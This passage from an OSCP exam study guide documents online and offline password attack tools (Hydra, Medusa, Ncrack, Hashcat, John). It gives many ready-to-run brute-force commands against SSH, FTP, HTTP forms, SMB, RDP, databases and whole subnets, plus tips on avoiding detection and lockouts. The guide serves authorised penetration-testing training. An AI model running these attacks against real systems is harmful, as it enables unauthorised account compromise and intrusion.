hydra -M targets.txt -l admin -P rockyou.txt -s 2222 ssh
# Save results per target
hydra -M targets.txt -l admin -P rockyou.txt -o results.txt ssh
3.9 OSCP Exam Tips — Hydra
Tip 1: For SSH brute force, the simplest command is often the best:
hydra -l <user> -P rockyou.txt ssh://<target>.Tip 2: Always use
-V(verbose) to see each attempt. This helps you verify Hydra is working correctly and not getting blocked.Tip 3: For HTTP POST forms, the failure string is the most critical part. If Hydra reports everything as success or everything as failure, your failure string is wrong.
Tip 4: Use
-t 4or-t 8instead of the default-t 16on exam machines to avoid overwhelming the target and triggering account lockouts.Tip 5: If Hydra hangs or times out, the target may have no rate limiting but a slow response. Use
-w 30to increase the wait time.Tip 6: For HTTPS targets, use the
-Sflag or thehttps://URL scheme.
4. Medusa
4.1 Overview
Medusa is a fast, multi-threaded online login brute-forcing tool. It is simpler than Hydra with a more straightforward syntax, making it ideal for quick attacks against common services.
Key differences from Hydra:
| Feature | Medusa | Hydra |
|---|---|---|
| Protocols | ~15 | 50+ |
| Syntax | Simpler, module-based | URL-based, complex for HTTP |
| HTTP Support | Basic | Advanced (form, JSON, headers) |
| Speed | Fast | Fast (more parallelization) |
| Learning Curve | Low | Medium |
| Maintenance | Less active | Actively maintained |
4.2 Installation
# Kali Linux (pre-installed)
medusa -h
# Ubuntu/Debian
sudo apt install medusa
# From source
git clone https://github.com/jmk-foofus/medusa.git
cd medusa
./configure
make
sudo make install
4.3 Command Structure
medusa [options]
Unlike Hydra, Medusa uses a module-based approach. You specify the service with -M <module> rather than a URL scheme.
4.4 Complete Option Reference
| Option | Description | Example |
|---|---|---|
-h <host> |
Target host (IP or hostname) | -h 192.168.1.10 |
-u <user> |
Single username | -u admin |
-U <file> |
Username wordlist | -U users.txt |
-p <pass> |
Single password | -p password |
-P <file> |
Password wordlist | -P rockyou.txt |
-M <module> |
Service module | -M ssh |
-n <port> |
Port number | -n 2222 |
-t <threads> |
Number of workers | -t 10 |
-T <targets> |
Total targets (for batch) | -T 5 |
-O <file> |
Output file | -O results.log |
-o <format> |
Output format (1/2/3) | -o 2 |
-e <ns> |
Extra attempts | -e ns |
-f |
Stop at first success | -f |
-C <file> |
Credential file (user:pass) | -C creds.txt |
-m <options> |
Module-specific options | -m "/login:,u=,p=,s=200" |
-r <char> |
Response character to strip | — |
-d |
Debug mode | -d |
-v <level> |
Verbosity (0-3) | -v 2 |
4.5 Module System
Medusa uses loadable modules for each protocol. Available modules:
| Module | Protocol | Notes |
|---|---|---|
cisco |
Cisco AAA | Enable password |
cisco-enable |
Cisco Enable | Privileged mode |
ftp |
FTP | Standard FTP |
ftpss |
FTPS | FTP over SSL |
http |
HTTP/HTTPS | Form-based login |
imap |
IMAP | |
imaps |
IMAPS | IMAP over SSL |
ms-sql |
MS SQL Server | — |
mysql |
MySQL | — |
nntp |
NNTP | Usenet |
pcanywhere |
PC-Anywhere | — |
pop3 |
POP3 | |
pop3s |
POP3S | POP3 over SSL |
postgres |
PostgreSQL | — |
rexec |
RExec | Remote execution |
rlogin |
RLogin | Remote login |
rdp |
RDP | Remote Desktop |
smbnt |
SMB/NTLM | Windows file sharing |
smtp |
SMTP | Email (VRFY) |
smtp-av |
SMTP Auth | SMTP AUTH |
snmp |
SNMP | Community strings |
ssh |
SSH | Secure Shell |
svn |
SVN | Subversion |
teamspeak |
TeamSpeak | VoIP |
telnet |
Telnet | Unencrypted remote |
vnc |
VNC | Remote display |
List available modules:
medusa -E
4.6 Common Commands
# SSH brute force (most common)
medusa -h 192.168.1.10 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
# SSH with custom port
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -n 2222
# FTP brute force
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ftp
# FTP with custom port
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ftp -n 2121
# HTTP form login
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M http \
-m "/login.php:,u=^USER^,p=^PASS^,t=application/x-www-form-urlencoded,s=200"
# SMB (Windows file sharing)
medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M smbnt
# MySQL
medusa -h 192.168.1.10 -u root -P rockyou.txt -M mysql
# PostgreSQL
medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M postgres
# RDP
medusa -h 192.168.1.10 -u administrator -P rockyou.txt -M rdp
# VNC
medusa -h 192.168.1.10 -u admin -P passwords.txt -M vnc
# Stop at first success
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -f
# Increase workers (default is 16)
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -t 32
# Save output
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -O results.log
# Verbose output (level 2)
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -v 2
# Extra attempts: try null password and username as password
medusa -h 192.168.1.10 -u admin -p password -e ns -M ssh
4.7 HTTP Module Syntax
Medusa’s HTTP module uses a different syntax than Hydra:
-m "<path>,u=<user_field>,p=<pass_field>,t=<content_type>,s=<success_code>"
| Parameter | Description | Example |
|---|---|---|
path |
URL path | /login.php |
u= |
Username field name | u=username |
p= |
Password field name | p=password |
t= |
Content type | t=application/x-www-form-urlencoded |
s= |
Success HTTP status code | s=200 |
m= |
Method (GET/POST) | m=POST |
# POST to /login.php with fields "username" and "password", success = 200
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M http \
-m "/login.php,u=username,p=password,s=200"
# GET request with basic auth
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M http \
-m "/admin/,s=200"
4.8 When to Prefer Medusa
| Use Medusa when… | Use Hydra when… |
|---|---|
| Simple SSH/FTP/SMB attack | Need 50+ protocol support |
| Quick, straightforward syntax | Need HTTP form/JSON attacks |
| Target is a common service | Need cycle mode or multi-target |
| You want less complex commands | Need custom headers or SSL options |
| Testing basic auth on HTTP | Need rate limiting control (-w, -W) |
4.9 OSCP Exam Tips — Medusa
Tip 1: Medusa is your go-to for simple SSH brute force when Hydra’s HTTP syntax feels overwhelming.
medusa -h <IP> -u <user> -P rockyou.txt -M sshis all you need.Tip 2: Medusa’s HTTP module is less flexible than Hydra’s. If the login form is complex (CSRF tokens, JSON, custom headers), use Hydra instead.
Tip 3: Use
-v 2for verbose output to see what Medusa is doing. This helps diagnose why an attack might be failing.Tip 4: The
-e nsflag is useful for trying null passwords and username-as-password — common default configurations on exam machines.
5. Ncrack
5.1 Overview
Ncrack is a high-speed network authentication cracking tool developed by the Nmap team. It is designed for rapid, parallelized brute-force attacks against network services.
Key features:
- Part of the Nmap ecosystem (uses libnmap).
- Supports Nmap-style timing templates (
-T1to-T5). - Can target multiple protocols simultaneously.
- Supports resume functionality.
- Outputs results in Nmap-compatible XML format.
5.2 Installation
# Kali Linux (pre-installed)
ncrack --version
# Ubuntu/Debian
sudo apt install ncrack
# From source
git clone https://github.com/nmap/ncrack.git
cd ncrack
./configure
make
sudo make install
5.3 Command Structure
ncrack [options] <target>
5.4 Complete Option Reference
Credential Options
| Option | Description | Example |
|---|---|---|
-u <user> |
Single username | -u admin |
-p <pass> |
Single password | -p password123 |
-U <file> |
Username wordlist | -U users.txt |
-P <file> |
Password wordlist | -P rockyou.txt |
-c <file> |
Credentials file (user:pass) | -c creds.txt |
Timing and Performance
| Option | Description | Values |
|---|---|---|
-T <template> |
Timing template | 1 (paranoid) to 5 (insane) |
-t <conns> |
Max connections per target | Default: 10 |
--delay <ms> |
Delay between attempts (ms) | 1000 = 1 second |
--max-retries <n> |
Max retries per target | Default: 3 |
--restart <interval> |
Restart interval (seconds) | — |
Timing templates (Nmap-style):
| Template | Name | Speed | Stealth | Use Case |
|---|---|---|---|---|
-T1 |
Paranoid | Very slow | Very high | Avoid IDS/IPS |
-T2 |
Sneaky | Slow | High | Careful scanning |
-T3 |
Normal | Medium | Medium | Default |
-T4 |
Aggressive | Fast | Low | Exam environments |
-T5 |
Insane | Very fast | None | Lab / isolated |
# Aggressive timing (faster)
ncrack -u admin -P rockyou.txt -T4 ssh://192.168.1.10
# Insane timing (fastest, risky)
ncrack -u admin -P rockyou.txt -T5 ssh://192.168.1.10
# Paranoid timing (slowest, stealthiest)
ncrack -u admin -P rockyou.txt -T1 ssh://192.168.1.10
Target and Protocol Options
| Option | Description | Example |
|---|---|---|
-6 |
Use IPv6 | -6 |
-p <ports> |
Port specification | -p 22,80,443 |
--resume <file> |
Resume from state file | --resume ncrack.resume |
-v |
Verbose | -v |
-vv |
Very verbose | -vv |
-oN <file> |
Normal output | -oN results.txt |
-oX <file> |
XML output | -oX results.xml |
-oS <file> |
Script-kiddie output | -oS results.sk |
-oA <prefix> |
All output formats | -oA results |
5.5 Supported Protocols
| Protocol | URL Scheme | Default Port |
|---|---|---|
| FTP | ftp:// |
21 |
| HTTP | http:// |
80 |
| HTTPS | https:// |
443 |
| IMAP | imap:// |
143 |
| IMAPS | imaps:// |
993 |
| MS SQL | mssql:// |
1433 |
| MySQL | mysql:// |
3306 |
| POP3 | pop3:// |
110 |
| POP3S | pop3s:// |
995 |
| RDP | rdp:// |
3389 |
| SMTP | smtp:// |
25 |
| SNMP | snmp:// |
161 |
| SSH | ssh:// |
22 |
| Telnet | telnet:// |
23 |
| VNC | vnc:// |
5900 |
5.6 Common Commands
# SSH brute force
ncrack -u admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
# Multiple protocols on same target
ncrack -U users.txt -P passwords.txt ssh://192.168.1.10 ftp://192.168.1.10 http://192.168.1.10
# Multiple targets with same protocol
ncrack -u admin -P rockyou.txt ssh://192.168.1.10,11,12
# Subnet scan
ncrack -u admin -P rockyou.txt ssh://192.168.1.0/24
# With credentials file
ncrack -c creds.txt -T4 ssh://192.168.1.10
# Aggressive with verbose output
ncrack -U users.txt -P passwords.txt -T5 -v ssh://192.168.1.10
# Save output in all formats
ncrack -u admin -P rockyou.txt -oA results ssh://192.168.1.10
# Custom port
ncrack -u admin -P rockyou.txt ssh://192.168.1.10:2222
# With delay between attempts (avoid detection)
ncrack -u admin -P rockyou.txt --delay 2000 ssh://192.168.1.10
# Resume interrupted session
ncrack --resume ncrack.resume ssh://192.168.1.10
# IPv6 target
ncrack -u admin -P rockyou.txt -6 ssh://[fe80::1]
# Specify ports without protocol
ncrack -u admin -P rockyou.txt -p 22,80,443 192.168.1.10
5.7 Nmap Integration
Ncrack can work alongside Nmap for a complete reconnaissance-to-exploitation workflow:
# Step 1: Scan for open ports
nmap -sV -p 22,80,443,3306 192.168.1.10
# Step 2: Crack found services
ncrack -u admin -P rockyou.txt ssh://192.168.1.10 mysql://192.168.1.10
# Step 3: Use Nmap grepable output to feed Ncrack
nmap -sV -oG scan.gnmap 192.168.1.0/24
# Parse .gnmap and extract targets for ncrack
5.8 Resume Functionality
Ncrack automatically creates a .resume file when interrupted. This allows you to continue exactly where you left off.
# Start attack
ncrack -U users.txt -P passwords.txt ssh://192.168.1.10
# Interrupt with Ctrl+C — ncrack saves state
# Resume
ncrack --resume ncrack.resume ssh://192.168.1.10
5.9 OSCP Exam Tips — Ncrack
Tip 1: Ncrack is great for attacking multiple services on a single target simultaneously. Use it when you find SSH, FTP, and HTTP all open on the same machine.
Tip 2: The
-T4timing template is a good balance between speed and reliability for exam environments.Tip 3: Ncrack’s subnet syntax (
ssh://192.168.1.0/24) is unique among these tools. Use it for quick multi-target SSH brute force.Tip 4: The
--resumefeature is useful if you need to step away during a long attack.
6. Tool Comparison and Decision Framework
6.1 Feature Matrix
| Feature | Hashcat | John the Ripper | Hydra | Medusa | Ncrack |
|---|---|---|---|---|---|
| Attack Type | Offline | Offline | Online | Online | Online |
| Acceleration | GPU (CUDA/OpenCL/HIP) | CPU only | CPU (multi-threaded) | CPU (multi-threaded) | CPU (multi-threaded) |
| Speed Class | Billions/sec (GPU) | Thousands/sec | Hundreds/sec | Hundreds/sec | Thousands/sec |
| Hash Types | 350+ | 200+ | N/A | N/A | N/A |
| Protocols | N/A | N/A | 50+ | ~15 | ~15 |
| Auto Format Detection | No | Yes | N/A | N/A | N/A |
| Rule-Based Attacks | Yes (-r) |
Yes (--rules) |
No | No | No |
| Mask Attacks | Yes (-a 3) |
Yes (--mask) |
No | No | No |
| CustomCharsets | Yes (-1 to -4) |
Limited | No | No | No |
| Session Restore | Yes (--restore) |
Yes (--restore) |
No | No | Yes (--resume) |
| Pot File | Yes | Yes | No | No | No |
| Multi-Target | No | No | Yes (-M) |
Limited | Yes (subnet) |
| Cycle Mode | N/A | N/A | Yes (-u) |
No | No |
| Rate Limiting | N/A | N/A | Yes (-w, -W) |
Limited | Yes (--delay) |
| HTTP Form Support | N/A | N/A | Excellent | Basic | Basic |
| JSON API Support | N/A | N/A | Yes | No | No |
| Timing Templates | N/A | N/A | No | No | Yes (-T1 to -T5) |
| Nmap Integration | No | No | No | No | Yes (libnmap) |
| Pre-installed on Kali | Yes | Yes | Yes | Yes | Yes |
| License | MIT | GPL v2 | GPL v2 | GPL v2 | GPL v2 |
6.2 Performance Comparison
| Hash Type | Hashcat (RTX 3080) | John (8-core CPU) | Ratio |
|---|---|---|---|
| MD5 | ~50 GH/s | ~500 KH/s | ~100,000x |
| NTLM | ~8.5 GH/s | ~150 KH/s | ~56,000x |
| SHA-256 | ~15 GH/s | ~200 KH/s | ~75,000x |
| bcrypt (cost 12) | ~150 KH/s | ~500 H/s | ~300x |
| SHA-512 crypt | ~500 MH/s | ~2 KH/s | ~250x |
6.3 Decision Tree for Tool Selection
You have a password to crack?
/ \
Offline (hash) Online (live service)
/ \
Do you have a GPU? Which tool?
/ \ / | \
Yes No Hydra Medusa Ncrack
/ \ / | \
Use Hashcat Use John Best for Simplest Fastest
(GPU speed) (auto-detect) HTTP forms syntax multi-protocol
Detailed Decision Flow
Step 1: Offline or Online?
| Condition | Go to |
|---|---|
| You have a hash file (NTLM, bcrypt, SHA, etc.) | Offline → Step 2 |
| You need to attack a live service (SSH, HTTP, etc.) | Online → Step 3 |
Step 2: Offline — Hashcat or John?
| Condition | Tool | Reason |
|---|---|---|
| GPU available | Hashcat | 100-100,000x faster |
| No GPU / CPU only | John | Works without GPU |
| Unknown hash format | John (first) | Auto-detect, then switch to Hashcat with -m |
| SSH key passphrase | Either | John (sshprivatekey), Hashcat (mode 16800) |
| WPA2 handshake | Hashcat | Mode 22000, GPU essential |
| Kerberos hash | Either | Hashcat (6400/7500), John (krb5asrep/krb5tgs) |
Step 3: Online — Hydra, Medusa, or Ncrack?
| Condition | Tool | Reason |
|---|---|---|
| HTTP form login (complex) | Hydra | Best HTTP support, JSON, headers |
| Simple SSH/FTP/SMB | Medusa | Simplest syntax |
| Multiple protocols at once | Ncrack | Simultaneous multi-protocol |
| Multiple targets | Hydra | -M flag, mature |
| Need timing control | Ncrack | Nmap-style -T templates |
| Subnet brute force | Ncrack | /24 syntax built-in |
| RDP attack | Any | All three support RDP |
6.4 When Each Tool Shines
Hashcat — The Speed King
- Best for: Any offline hash cracking when GPU is available.
- Exam scenarios: NTLM hashes from
secretsdump.py, WPA2 handshakes, Kerberos AS-REP/TGS-REP hashes, bcrypt from/etc/shadow. - Key advantage: Raw speed. What takes John hours, Hashcat does in seconds.
John the Ripper — The Swiss Army Knife
- Best for: Quick hash identification and cracking without GPU.
- Exam scenarios: Unknown hash format, SSH private key passphrases, quick single-hash tests.
- Key advantage: Auto-detection. You don’t need to know the hash mode number.
Hydra — The Online Workhorse
- Best for: HTTP form brute force, multi-target attacks, complex protocol needs.
- Exam scenarios: Web login forms, SSH brute force, multi-service attacks.
- Key advantage: Protocol coverage and HTTP form flexibility.
Medusa — The Simple Alternative
- Best for: Quick SSH/FTP/SMB brute force with minimal syntax.
- Exam scenarios: Simple service brute force when you just need it done.
- Key advantage: Simplicity. Fewer options to remember.
Ncrack — The Multi-Protocol Accelerator
- Best for: Simultaneous multi-protocol attacks, subnet-wide brute force.
- Exam scenarios: Multiple services open on one host, quick subnet SSH sweep.
- Key advantage: Nmap integration and parallel multi-protocol support.
6.5 OSCP Exam Tips — Tool Selection
Tip 1: Your default offline workflow should be: identify hash → Hashcat with rockyou.txt → if fails, try rules → if fails, try mask. Only fall back to John if Hashcat is unavailable.
Tip 2: For online attacks, Hydra is your primary tool. It handles every protocol you’ll encounter on the exam. Medusa and Ncrack are useful alternatives but Hydra covers everything.
Tip 3: When attacking HTTP forms, always inspect the login request first (using Burp Suite or curl) to identify the correct field names, method (GET/POST), and failure indicator.
Tip 4: Keep a cheat sheet of common Hashcat modes:
1000(NTLM),0(MD5),100(SHA1),1800(Windows Credential Protector),5600(NTLMv2),6400(Kerberos AS-REP),7500(Kerberos TGS-REP),22000(WPA2).Tip 5: On the exam,
rockyou.txtmay be compressed. Decompress it first:gunzip /usr/share/wordlists/rockyou.txt.gz.Tip 6: If an online attack seems to be failing, reduce the thread count (
-t 4for Hydra) and increase the wait time (-w 10). The target may be rate-limiting or locking accounts.Tip 7: Always save your results. Use
-o(Hydra),-o(Hashcat), or--show(John) to capture cracked credentials. You will need them for the exam report.
7. Quick Command Reference Card
Hashcat Quick Reference
# Dictionary attack
hashcat -m <mode> -a 0 hashes.txt rockyou.txt
# Dictionary + rules
hashcat -m <mode> -a 0 hashes.txt rockyou.txt -r rules/best64.rule
# Mask attack
hashcat -m <mode> -a 3 hashes.txt ?u?l?l?l?l?d?d?d?d
# Hybrid (word + suffix)
hashcat -m <mode> -a 6 hashes.txt rockyou.txt ?d?d?d?d
# Show cracked
hashcat -m <mode> -a 0 --show hashes.txt rockyou.txt
# Resume
hashcat --restore
# Benchmark
hashcat -m <mode> -b
# Keyspace
hashcat -m <mode> -a 3 ?l?l?l?l?d?d?d?d --keyspace
John Quick Reference
# Auto-detect and crack
john hashes.txt
# With wordlist
john --wordlist=rockyou.txt hashes.txt
# With format and rules
john --format=nt --wordlist=rockyou.txt --rules hashes.txt
# Show results
john --show hashes.txt
# Incremental brute force
john --incremental:alpha hashes.txt
# Mask attack
john --format=nt --mask=?l?l?l?l?d?d?d?d hashes.txt
# Benchmark
john --test --format=nt
Hydra Quick Reference
# SSH
hydra -l admin -P rockyou.txt ssh://192.168.1.10
# HTTP POST form
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
# Multi-target
hydra -M targets.txt -l admin -P rockyou.txt ssh
# Stop at first success
hydra -l admin -P rockyou.txt -f ssh://192.168.1.10
Medusa Quick Reference
# SSH
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh
# HTTP
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M http \
-m "/login,u=user,p=pass,s=200"
Ncrack Quick Reference
# SSH
ncrack -u admin -P rockyou.txt ssh://192.168.1.10
# Multi-protocol
ncrack -U users.txt -P passwords.txt ssh://192.168.1.10 ftp://192.168.1.10
# Subnet
ncrack -u admin -P rockyou.txt ssh://192.168.1.0/24
End of Tools Mastery chapter. This reference covers all five core password attack tools with exam-focused tips, complete option references, and practical command examples.